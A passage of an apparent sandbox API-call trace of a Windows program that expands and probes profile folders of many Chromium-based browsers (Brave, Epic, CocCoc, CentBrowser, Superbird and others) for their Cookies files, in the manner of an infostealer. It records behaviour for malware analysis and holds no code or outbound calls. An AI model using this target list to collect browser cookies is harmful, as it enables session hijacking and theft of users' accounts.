lpWideCharStr=0x1e7de9bc, cchWideChar=2047 | out: lpWideCharStr="Browsers\\Cookiesurf\\User Data\\ Data\\\\ta\\a\\\x09") returned 16 [0163.605] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\QIP Surf\\User Data\\\\*.*", lpFindFileData=0x1e7df76c | out: lpFindFileData=0x1e7df76c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0163.606] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\QIP Surf\\User Data\\\\\\Cookies" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\qip surf\\user data\\cookies")) returned 0xffffffff [0163.606] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x1e7df76c | out: lpFindFileData=0x1e7df76c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0163.606] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0163.606] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf3f04, cbMultiByte=4, lpWideCharStr=0x1e7de9b8, cchWideChar=2047 | out: lpWideCharStr="Epicowsers\\Cookiesurf\\User Data\\ Data\\\\ta\\a\\\x09") returned 4 [0163.606] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf1970, cbMultiByte=46, lpWideCharStr=0x1e7de9b4, cchWideChar=2047 | out: lpWideCharStr="%LOCALAPPDATA%\\Epic Privacy Browser\\User Data\\\x09") returned 46 [0163.606] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Epic Privacy Browser\\User Data\\", lpDst=0x1ff0004c, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Local\\Epic Privacy Browser\\User Data\\") returned 0x40 [0163.606] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x414084, cbMultiByte=16, lpWideCharStr=0x1e7de9bc, cchWideChar=2047 | out: lpWideCharStr="Browsers\\CookiesPrivacy Browser\\User Data\\\x09") returned 16 [0163.606] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Epic Privacy Browser\\User Data\\\\*.*", lpFindFileData=0x1e7df76c | out: lpFindFileData=0x1e7df76c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0163.606] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Epic Privacy Browser\\User Data\\\\\\Cookies" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\epic privacy browser\\user data\\cookies")) returned 0xffffffff [0163.607] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x1e7df76c | out: lpFindFileData=0x1e7df76c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0163.607] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0163.607] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf3f18, cbMultiByte=5, lpWideCharStr=0x1e7de9b8, cchWideChar=2047 | out: lpWideCharStr="Bravewsers\\CookiesPrivacy Browser\\User Data\\\x09") returned 5 [0163.607] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf1a8c, cbMultiByte=16, lpWideCharStr=0x1e7de9b4, cchWideChar=2047 | out: lpWideCharStr="%APPDATA%\\brave\\kiesPrivacy Browser\\User Data\\\x09") returned 16 [0163.607] ExpandEnvironmentStringsW (in: lpSrc="%APPDATA%\\brave\\", lpDst=0x1ff0004c, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Roaming\\brave\\") returned 0x29 [0163.607] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x414084, cbMultiByte=16, lpWideCharStr=0x1e7de9bc, cchWideChar=2047 | out: lpWideCharStr="Browsers\\CookiesPrivacy Browser\\User Data\\\x09") returned 16 [0163.607] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\brave\\\\*.*", lpFindFileData=0x1e7df76c | out: lpFindFileData=0x1e7df76c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0163.607] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\brave\\\\\\Cookies" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\brave\\cookies")) returned 0xffffffff [0163.607] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x1e7df76c | out: lpFindFileData=0x1e7df76c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0163.607] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0163.608] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf3f2c, cbMultiByte=6, lpWideCharStr=0x1e7de9b8, cchWideChar=2047 | out: lpWideCharStr="CocCocsers\\CookiesPrivacy Browser\\User Data\\\x09") returned 6 [0163.608] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf1b90, cbMultiByte=40, lpWideCharStr=0x1e7de9b4, cchWideChar=2047 | out: lpWideCharStr="%LOCALAPPDATA%\\CocCoc\\Browser\\User Data\\ Data\\\x09") returned 40 [0163.608] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\CocCoc\\Browser\\User Data\\", lpDst=0x1ff0004c, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Local\\CocCoc\\Browser\\User Data\\") returned 0x3a [0163.608] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x414084, cbMultiByte=16, lpWideCharStr=0x1e7de9bc, cchWideChar=2047 | out: lpWideCharStr="Browsers\\Cookiesc\\Browser\\User Data\\ Data\\\x09") returned 16 [0163.608] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\CocCoc\\Browser\\User Data\\\\*.*", lpFindFileData=0x1e7df76c | out: lpFindFileData=0x1e7df76c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0163.608] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\CocCoc\\Browser\\User Data\\\\\\Cookies" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\coccoc\\browser\\user data\\cookies")) returned 0xffffffff [0163.608] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x1e7df76c | out: lpFindFileData=0x1e7df76c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0163.608] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0163.608] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf3f40, cbMultiByte=11, lpWideCharStr=0x1e7de9b8, cchWideChar=2047 | out: lpWideCharStr="CentBrowserCookiesc\\Browser\\User Data\\ Data\\\x09") returned 11 [0163.608] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf1cb0, cbMultiByte=37, lpWideCharStr=0x1e7de9b4, cchWideChar=2047 | out: lpWideCharStr="%LOCALAPPDATA%\\CentBrowser\\User Data\\ta\\ Data\\\x09") returned 37 [0163.609] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\CentBrowser\\User Data\\", lpDst=0x1ff0004c, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Local\\CentBrowser\\User Data\\") returned 0x37 [0163.609] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x414084, cbMultiByte=16, lpWideCharStr=0x1e7de9bc, cchWideChar=2047 | out: lpWideCharStr="Browsers\\Cookiesrowser\\User Data\\ta\\ Data\\\x09") returned 16 [0163.609] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\CentBrowser\\User Data\\\\*.*", lpFindFileData=0x1e7df76c | out: lpFindFileData=0x1e7df76c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0163.609] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\CentBrowser\\User Data\\\\\\Cookies" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\centbrowser\\user data\\cookies")) returned 0xffffffff [0163.609] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x1e7df76c | out: lpFindFileData=0x1e7df76c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0163.609] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0163.609] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf3f58, cbMultiByte=5, lpWideCharStr=0x1e7de9b8, cchWideChar=2047 | out: lpWideCharStr="7Starwsers\\Cookiesrowser\\User Data\\ta\\ Data\\\x09") returned 5 [0163.609] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf1dd0, cbMultiByte=37, lpWideCharStr=0x1e7de9b4, cchWideChar=2047 | out: lpWideCharStr="%LOCALAPPDATA%\\7Star\\7Star\\User Data\\ta\\ Data\\\x09") returned 37 [0163.609] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\7Star\\7Star\\User Data\\", lpDst=0x1ff0004c, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Local\\7Star\\7Star\\User Data\\") returned 0x37 [0163.610] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x414084, cbMultiByte=16, lpWideCharStr=0x1e7de9bc, cchWideChar=2047 | out: lpWideCharStr="Browsers\\Cookies\\7Star\\User Data\\ta\\ Data\\\x09") returned 16 [0163.610] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\7Star\\7Star\\User Data\\\\*.*", lpFindFileData=0x1e7df76c | out: lpFindFileData=0x1e7df76c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0163.610] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\7Star\\7Star\\User Data\\\\\\Cookies" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\7star\\7star\\user data\\cookies")) returned 0xffffffff [0163.610] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x1e7df76c | out: lpFindFileData=0x1e7df76c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0163.610] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0163.610] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf3f6c, cbMultiByte=15, lpWideCharStr=0x1e7de9b8, cchWideChar=2047 | out: lpWideCharStr="ElementsBrowseries\\7Star\\User Data\\ta\\ Data\\\x09") returned 15 [0163.610] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf1ef4, cbMultiByte=42, lpWideCharStr=0x1e7de9b4, cchWideChar=2047 | out: lpWideCharStr="%LOCALAPPDATA%\\Elements Browser\\User Data\\ata\\\x09") returned 42 [0163.610] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Elements Browser\\User Data\\", lpDst=0x1ff0004c, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Local\\Elements Browser\\User Data\\") returned 0x3c [0163.610] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x414084, cbMultiByte=16, lpWideCharStr=0x1e7de9bc, cchWideChar=2047 | out: lpWideCharStr="Browsers\\Cookiesnts Browser\\User Data\\ata\\\x09") returned 16 [0163.611] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Elements Browser\\User Data\\\\*.*", lpFindFileData=0x1e7df76c | out: lpFindFileData=0x1e7df76c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0163.611] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Elements Browser\\User Data\\\\\\Cookies" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\elements browser\\user data\\cookies")) returned 0xffffffff [0163.611] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x1e7df76c | out: lpFindFileData=0x1e7df76c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0163.611] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0163.611] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf3f88, cbMultiByte=6, lpWideCharStr=0x1e7de9b8, cchWideChar=2047 | out: lpWideCharStr="TorBrosers\\Cookiesnts Browser\\User Data\\ata\\\x09") returned 6 [0163.611] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf2020, cbMultiByte=30, lpWideCharStr=0x1e7de9b4, cchWideChar=2047 | out: lpWideCharStr="%LOCALAPPDATA%\\TorBro\\Profile\\r\\User Data\\ata\\\x09") returned 30 [0163.611] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\TorBro\\Profile\\", lpDst=0x1ff0004c, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Local\\TorBro\\Profile\\") returned 0x30 [0163.611] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x414084, cbMultiByte=16, lpWideCharStr=0x1e7de9bc, cchWideChar=2047 | out: lpWideCharStr="Browsers\\Cookieso\\Profile\\r\\User Data\\ata\\\x09") returned 16 [0163.611] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\TorBro\\Profile\\\\*.*", lpFindFileData=0x1e7df76c | out: lpFindFileData=0x1e7df76c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0163.612] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\TorBro\\Profile\\\\\\Cookies" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\torbro\\profile\\cookies")) returned 0xffffffff [0163.612] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x1e7df76c | out: lpFindFileData=0x1e7df76c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0163.612] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0163.612] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf3f9c, cbMultiByte=5, lpWideCharStr=0x1e7de9b8, cchWideChar=2047 | out: lpWideCharStr="Suhbawsers\\Cookieso\\Profile\\r\\User Data\\ata\\\x09") returned 5 [0163.612] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf2144, cbMultiByte=31, lpWideCharStr=0x1e7de9b4, cchWideChar=2047 | out: lpWideCharStr="%LOCALAPPDATA%\\Suhba\\User Data\\\\User Data\\ata\\\x09") returned 31 [0163.612] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Suhba\\User Data\\", lpDst=0x1ff0004c, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Local\\Suhba\\User Data\\") returned 0x31 [0163.612] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x414084, cbMultiByte=16, lpWideCharStr=0x1e7de9bc, cchWideChar=2047 | out: lpWideCharStr="Browsers\\Cookies\\User Data\\\\User Data\\ata\\\x09") returned 16 [0163.612] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Suhba\\User Data\\\\*.*", lpFindFileData=0x1e7df76c | out: lpFindFileData=0x1e7df76c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0163.612] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Suhba\\User Data\\\\\\Cookies" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\suhba\\user data\\cookies")) returned 0xffffffff [0163.613] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x1e7df76c | out: lpFindFileData=0x1e7df76c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0163.613] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0163.613] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf3fb0, cbMultiByte=12, lpWideCharStr=0x1e7de9b8, cchWideChar=2047 | out: lpWideCharStr="SaferBrowserookies\\User Data\\\\User Data\\ata\\\x09") returned 12 [0163.613] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf226c, cbMultiByte=59, lpWideCharStr=0x1e7de9b4, cchWideChar=2047 | out: lpWideCharStr="%LOCALAPPDATA%\\Safer Technologies\\Secure Browser\\User Data\\") returned 59 [0163.613] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Safer Technologies\\Secure Browser\\User Data\\", lpDst=0x1ff0004c, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Local\\Safer Technologies\\Secure Browser\\User Data\\") returned 0x4d [0163.613] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x414084, cbMultiByte=16, lpWideCharStr=0x1e7de9bc, cchWideChar=2047 | out: lpWideCharStr="Browsers\\Cookies Technologies\\Secure Browser\\User Data\\") returned 16 [0163.613] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Safer Technologies\\Secure Browser\\User Data\\\\*.*", lpFindFileData=0x1e7df76c | out: lpFindFileData=0x1e7df76c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0163.613] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Safer Technologies\\Secure Browser\\User Data\\\\\\Cookies" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\safer technologies\\secure browser\\user data\\cookies")) returned 0xffffffff [0163.613] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x1e7df76c | out: lpFindFileData=0x1e7df76c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0163.613] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0163.614] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf3fcc, cbMultiByte=7, lpWideCharStr=0x1e7de9b8, cchWideChar=2047 | out: lpWideCharStr="Mustangers\\Cookies Technologies\\Secure Browser\\User Data\\") returned 7 [0163.614] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf23b4, cbMultiByte=42, lpWideCharStr=0x1e7de9b4, cchWideChar=2047 | out: lpWideCharStr="%LOCALAPPDATA%\\Rafotech\\Mustang\\User Data\\rowser\\User Data\\") returned 42 [0163.614] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Rafotech\\Mustang\\User Data\\", lpDst=0x1ff0004c, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Local\\Rafotech\\Mustang\\User Data\\") returned 0x3c [0163.614] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x414084, cbMultiByte=16, lpWideCharStr=0x1e7de9bc, cchWideChar=2047 | out: lpWideCharStr="Browsers\\Cookiesech\\Mustang\\User Data\\rowser\\User Data\\") returned 16 [0163.614] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Rafotech\\Mustang\\User Data\\\\*.*", lpFindFileData=0x1e7df76c | out: lpFindFileData=0x1e7df76c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0163.614] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Rafotech\\Mustang\\User Data\\\\\\Cookies" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\rafotech\\mustang\\user data\\cookies")) returned 0xffffffff [0163.614] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x1e7df76c | out: lpFindFileData=0x1e7df76c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0163.614] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0163.614] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf3fe0, cbMultiByte=9, lpWideCharStr=0x1e7de9b8, cchWideChar=2047 | out: lpWideCharStr="Superbirds\\Cookiesech\\Mustang\\User Data\\rowser\\User Data\\") returned 9 [0163.614] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf24f0, cbMultiByte=35, lpWideCharStr=0x1e7de9b4, cchWideChar=2047 | out: lpWideCharStr="%LOCALAPPDATA%\\Superbird\\User Data\\r Data\\rowser\\User Data\\") returned 35 [0163.615] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Superbird\\User Data\\", lpDst=0x1ff0004c, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Local\\Superbird\\User Data\\") returned 0x35 [0163.615] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x414084, cbMultiByte=16, 